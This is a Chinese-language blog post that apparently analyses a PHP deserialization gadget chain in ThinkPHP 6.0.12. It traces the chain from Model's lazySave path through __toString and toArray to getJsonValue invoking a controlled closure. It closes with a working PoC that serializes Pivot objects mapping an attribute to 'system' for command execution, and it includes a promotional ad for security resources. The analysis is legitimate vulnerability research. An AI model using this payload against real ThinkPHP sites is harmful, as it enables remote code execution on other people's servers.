Thinkphp最新版本漏洞分析
2022-07-28 14:14:58
148
{{single.collect_count}}

环境

Thinkphp6.0.12LTS(目前最新版本);

PHP7.3.4。

安装

composer create-project topthink/think tp6

测试代码

image.png

漏洞分析

漏洞起点不是__desturct就是__wakeup全局搜索下,起点在vendor\topthink\think-orm\src\Model.php

只要把this->lazySave设为True,就会调用了save方法。

image.png

【一>所有资源获取<一】
1、网络安全学习路线
2、电子书籍(白帽子)
3、安全大厂内部视频
4、100份src文档
5、常见安全面试题
6、ctf大赛经典题目解析
7、全套工具包
8、应急响应笔记

跟进save方法,漏洞方法是updateData,但需要绕过①且让②为True,①调用isEmpty方法。

image.png

public function save(array $data = [], string $sequence = null): bool{// 数据对象赋值$this->setAttrs($data);if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {return false;}$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

跟进isEmpty方法,只要$this->data不为空就行。

image.png

$this->trigger方法默认返回就不是false,跟进updateData方法。漏洞方法是checkAllowFields默认就会触发。

image.png

protected function updateData(): bool{// 事件回调if (false === $this->trigger('BeforeUpdate')) {return false;}$this->checkData();// 获取有更新的数据$data = $this->getChangedData();if (empty($data)) {// 关联更新if (!empty($this->relationWrite)) {$this->autoRelationUpdate();}return true;}if ($this->autoWriteTimestamp && $this->updateTime) {// 自动写入更新时间$data[$this->updateTime] = $this->autoWriteTimestamp();$this->data[$this->updateTime] = $data[$this->updateTime];}// 检查允许字段$allowFields = $this->checkAllowFields();

跟进checkAllowFields方法,漏洞方法是db,默认也是会触发该方法,继续跟进。

image.png

protected function checkAllowFields(): array{// 检测字段if (empty($this->field)) {if (!empty($this->schema)) {$this->field = array_keys(array_merge($this->schema, $this->jsonType));} else {$query = $this->db();

跟进db方法,存在$this->table . $this->suffix字符串拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可。

image.png

public function db($scope = []): Query{/** @var Query $query */$query = self::$db->connect($this->connection)->name($this->name . $this->suffix)->pk($this->pk);if (!empty($this->table)) {$query->table($this->table . $this->suffix);}

全局搜索__toString方法,最后选择vendor\topthink\think-orm\src\model\concern\Conversion.php类中的__toString方法。

跟进__toString方法,调用了toJson方法。

image.png

跟进toJson方法,调用了toArray方法,然后以JSON格式返回。

image.png

跟进toArray方法,漏洞方法是getAtrr默认就会触发,只需把$data设为数组就行。

image.png

public function toArray(): array{$item = [];$hasVisible = false;foreach ($this->visible as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {[$relation, $name]= explode('.', $val);$this->visible[$relation][] = $name;} else {$this->visible[$val] = true;$hasVisible= true;}unset($this->visible[$key]);}}foreach ($this->hidden as $key => $val) {if (is_string($val)) {if (strpos($val, '.')) {[$relation, $name] = explode('.', $val);$this->hidden[$relation][] = $name;} else {$this->hidden[$val] = true;}unset($this->hidden[$key]);}}// 合并关联数据$data = array_merge($this->data, $this->relation);foreach ($data as $key => $val) {if ($val instanceof Model || $val instanceof ModelCollection) {// 关联模型对象if (isset($this->visible[$key]) && is_array($this->visible[$key])) {$val->visible($this->visible[$key]);} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {$val->hidden($this->hidden[$key]);}// 关联模型对象if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {$item[$key] = $val->toArray();}} elseif (isset($this->visible[$key])) {$item[$key] = $this->getAttr($key);} elseif (!isset($this->hidden[$key]) && !$hasVisible) {$item[$key] = $this->getAttr($key);

跟进getAttr方法,漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的。

image.png

public function getAttr(string $name){try {$relation = false;$value= $this->getData($name);} catch (InvalidArgumentException $e) {$relation = $this->isRelationAttr($name);$value= null;}return $this->getValue($name, $value, $relation);

跟进getData方法,$this->data可控,$fieldName来自getRealFieldName方法。

image.png

跟进getRealFieldName方法,默认直接返回传入的参数。所以$fieldName也可控,也就是传入getValue$value参数可控。

image.png

跟进getValue方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure进行判断。此次漏洞方法的getJsonValue方法。但需要经过两个if判断,$this->withAttr$this->json都可控,可顺利进入getJsonValue方法。
image.png

protected function getValue(string $name, $value, $relation = false){// 检测属性获取器$fieldName = $this->getRealFieldName($name);if (array_key_exists($fieldName, $this->get)) {return $this->get[$fieldName];}$method = 'get' . Str::studly($name) . 'Attr';if (isset($this->withAttr[$fieldName])) {if ($relation) {$value = $this->getRelationValue($relation);}if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {$value = $this->getJsonValue($fieldName, $value);

跟进getJsonValue方法,触发漏洞的点在$closure($value[$key], $value)只要令$this->jsonAssocTrue就行。

$closure$value都可控。

image.png

protected function getJsonValue($name, $value){if (is_null($value)) {return $value;}foreach ($this->withAttr[$name] as $key => $closure) {if ($this->jsonAssoc) {$value[$key] = $closure($value[$key], $value);

完整POP链条

image.png

POC编写

<?phpnamespace think{abstract class Model{private $lazySave = false;private $data = [];private $exists = false;protected $table;private $withAttr = [];protected $json = [];protected $jsonAssoc = false;function __construct($obj = ''){$this->lazySave = True;$this->data = ['whoami' => ['dir']];$this->exists = True;$this->table = $obj;$this->withAttr = ['whoami' => ['system']];$this->json = ['whoami',['whoami']];$this->jsonAssoc = True;}}}namespace think\model{use think\Model;class Pivot extends Model{}}namespace{echo(base64_encode(serialize(new think\model\Pivot(new think\model\Pivot()))));}

利用

image.png

image.png

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}